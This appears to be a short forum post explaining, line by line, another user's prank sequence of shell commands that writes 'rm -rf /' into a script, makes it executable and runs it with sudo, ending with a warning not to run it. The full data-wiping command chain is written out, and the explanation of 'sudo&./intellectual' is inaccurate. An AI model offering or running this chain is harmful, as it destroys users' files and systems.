Some people are confused about
loki7's series of commands
here is an explanation
Example:
echo #\!/bin/sh > intellectual ------ puts the string "#!/bin/sh" into a file called "intellectual" which makes the file a bash script file (it can execute commands)
echo rm -rf / >> intellectual ----- puts the string "rm -rf /" into that file as the 2nd line. that command wipes out a harddrive completely.
chmod a+x intellectual ----- makes the file "intellectual" executable, which makes the script active by typing ./intellectual at the commandline (but rm -rf / won't work unless you have root)
sudo&./intellectual ----- this means "run the script as a superuser with superuser permissions" thereby destroying your computer.
This assumes your users exists in the sudo users file with enough permissions to delete anything anywhere which is unlikely.
In any case, don't run this program
